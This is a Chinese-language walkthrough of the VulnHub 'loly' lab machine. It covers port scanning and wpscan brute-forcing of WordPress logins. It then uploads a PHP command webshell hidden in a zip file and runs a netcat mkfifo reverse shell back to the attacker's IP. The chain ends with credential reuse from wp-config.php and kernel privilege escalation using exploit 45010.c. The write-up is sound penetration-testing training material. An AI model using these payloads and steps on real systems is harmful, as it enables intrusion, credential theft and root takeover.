当前位置: 首页 > article >正文

vulnhub靶场之loly靶机

前言

  • 挑战攻克该靶机30分钟

靶机:loly靶机,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/a795145e3869

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.11 -p- -oA nmap-tcp

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.11 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选,这里因为22端口并不是明确closed的,是filtered的,所以也要包括在内

ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.11 -p $ports --min-rate=1000

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.11 -p $ports

枚举出的目录,可能是wordpress的CMS

网站信息探测

访问80端口的界面,是nginx安装后的默认界面,页面源代码没有信息泄露

使用whatweb或者浏览器插件wappalyzer进行查看相关配置

whatweb http://192.168.10.11 -v

使用gobuster等目录爆破工具进行测试

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404 -x php,html,txt,md,zip

访问wordpress,可以看到,很是杂乱,这个不用说了吧,一般可能都需要绑定域名了

随便点击一个链接,可以发现指向的域名loly.lc,或者自己去查看页面源代码

绑定域名,采用静态文件hosts,计算机会优先去查看这个文件中的解析对应。

linux系统中,文件在/etc/hostswindows系统,文件在C:\Windows\System32\Drivers\etc\hosts

这里使用的是kali,所以修改/etc/hosts文件

再次访问,可以发现,解析成功

wordpress探测

使用whatweb进一步探测,发现wordpress的版本信息

whatweb http://192.168.10.11/wordpress -v

那么下一步,使用针对wordpress的工具wpscan

wpscan --url http://192.168.10.11/wordpress -e u

枚举出用户,进一步进行密码破解

wpscan --url http://192.168.10.11/wordpress -U loly -P /usr/share/wordlists/rockyou.txt

用户名loly和密码fernando

文件上传

在登录后,经过多方测试,最终在插件AdRotate中,找到一个文件上传的测试点,并且在寻找的时候,也发现在相关设置中有文件上传后的地址,很清晰了,只是文件上传的种种需要多方测试

首先就是简单的测试:

  1. 直接上传php,不行
  2. 修改后缀名再上传,不行。
  3. 后缀名出以shell.php.jpg,生成图片马。不行
  4. 双写php以及大小写php,不行
  5. 更改mime类型,不行
  6. 以图片的形式上传,不解析为php
  7. 无法上传.htaccess文件,无法修改解析

根据上面,测试其他的几种,也就是js,html,zip

  1. html类型,不解析为php,所以不行
  2. js类型,显示源代码,也不解析,不行
  3. zip压缩后的文件,可以,并成功解析

只是上传为zip文件,访问的时候以php访问。如

info.php.zip,访问的时候为info.php

这里注意一点,采用linxu中的zip压缩工具,不要使用windows压缩,不一样

echo "<?php phpinfo();?>" > info.php

zip -r -o info.php.zip info.php 

我也测试过,把压缩包的数据进行抓包然后截取,但是不行。所以我放弃使用windows上传这个脚本了

那么编写一个代码,以可以命令执行

echo '<?php system($_GET["loly"]);?>' > shell.php
zip -r -o shell.php.zip shell.php

上传后,访问即可,构造shell.php?loly=ls,即可发现

构造反弹shell代码,首先在kali开启监听,然后再使用下面代码

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f
#进行url编码
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%20192.168.10.6%209999%20%3E%2Ftmp%2Ff

靶机内信息收集

既然有wordpress,那么就一定要看看其配置文件wp-config.php

获取用户名wordpress和密码lolyisabeautifulgirl

查看网络状态

ss -antulp

发现3306开放,可能就是mysql,以前面的登录测试,登录之前,先测试安装什么版本的python

dpkg -l | grep python
#加一层shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

数据库中只有一个用户名和密码,与前面枚举出的一样

继续探测信息,首先知道两个密码。fernandololyisabeautifulgirl

查看当前系统用户,发现只有loly一个

使用find寻找具有SUID权限的文件,发现sudosu

find / -perm -4000 -print 2>/dev/null

sudo -l测试,需要密码

尝试使用两个密码,测试loly,是否存在多用的情况

成功了,以lolyisabeautifulgirl登录

再次使用sudo -l,没有文件给loly使用。

收集内核版本等信息

uname -a
uname -r
cat /etc/issue
cat /etc/*release
lsb_release

当然,后面其实还有脚本上传进行检测,不过因为这里搜索到合适的提权脚本,并且可以使用,所以不上传脚本了

提权

使用gcc -v确定靶机安装了gcc

使用searchsploit搜索到可利用的漏洞

searchsploit 4.4.0-31 ubuntu Privilege

根据内核版本和系统信息,这些都是可以测试的,先测试第二个45010.c

#把脚本下载到当前目录下
searchsploit -m 45010.c

然后查看脚本

kali使用python开启监听,然后靶机使用wget下载即可

#kali执行
python3 -m http.server 1234

#靶机执行
wget http://192.168.10.6:1234/45010.c

这里在loly的主目录,因为他有一个脚本,可能会定期清理/tmp目录,我也不想再更改脚本,省时间

靶机执行脚本中编译和执行即可

gcc 45010.c -o exp
chmod +x exp
./exp

对应其他的脚本能否提权,自己去试试,一定要动手测试,积累经验

总结

该靶机的考察主要就是从web到内网

  1. 网站主流CMS的识别
  2. wpscan的使用,当然爆破也可以使用其他工具,如burp等,不过这个工具是专门针对wordpress,所以,建议使用
  3. 文件上传如何绕过检测,这里应该是利用对于压缩包的一个解析漏洞,导致执行了php代码
  4. wordpress的配置文件要清楚
  5. 靶机内的信息收集,内核等信息

http://www.kler.cn/a/590694.html

相关文章:

  • 5-26 黑白照片上色-Recolor
  • Java学习------static、final、this、super关键字
  • PostgreSQL 多数据库集簇配置及多数据库复制方法【流程+代码实例】
  • Redis,从数据结构到集群的知识总结
  • 基于javaweb的SpringBoot智能相册管理系统图片相册系统设计与实现(源码+文档+部署讲解)
  • 分布式锁: 并发时,redis如何避免删别人的锁
  • 如何用DeepSeek进行项目管理?AI重构项目全生命周期的实践指南
  • C51 Proteus仿真实验17:数码管显示4×4键盘矩阵按键
  • 力扣No.376.摆动序列
  • 【从零开始学习计算机科学】设计模式(一)设计模式概述
  • 蓝桥杯嵌入式赛道复习笔记2(按键控制LED灯,双击按键,单击按键,长按按键)
  • Mysql篇——SQL优化
  • Excel进阶篇:数据透视表详解 数据透视表进阶 切片器 配色
  • 如何使用HACS一键集成米家与果家设备到HomeAssistant玩转智能家居
  • 《我的Python觉醒之路》之转型Python(十五)——控制流
  • 智能化营销:唤醒沉睡客户,驱动企业利润增长
  • C++Qt开发流程图效果,包括保存、加载功能
  • 使用redis客户端中对于json数据格式的存储和读取
  • DR-CAN 卡尔曼滤波笔记
  • leetcode每日一题:使字符串平衡的最小交换次数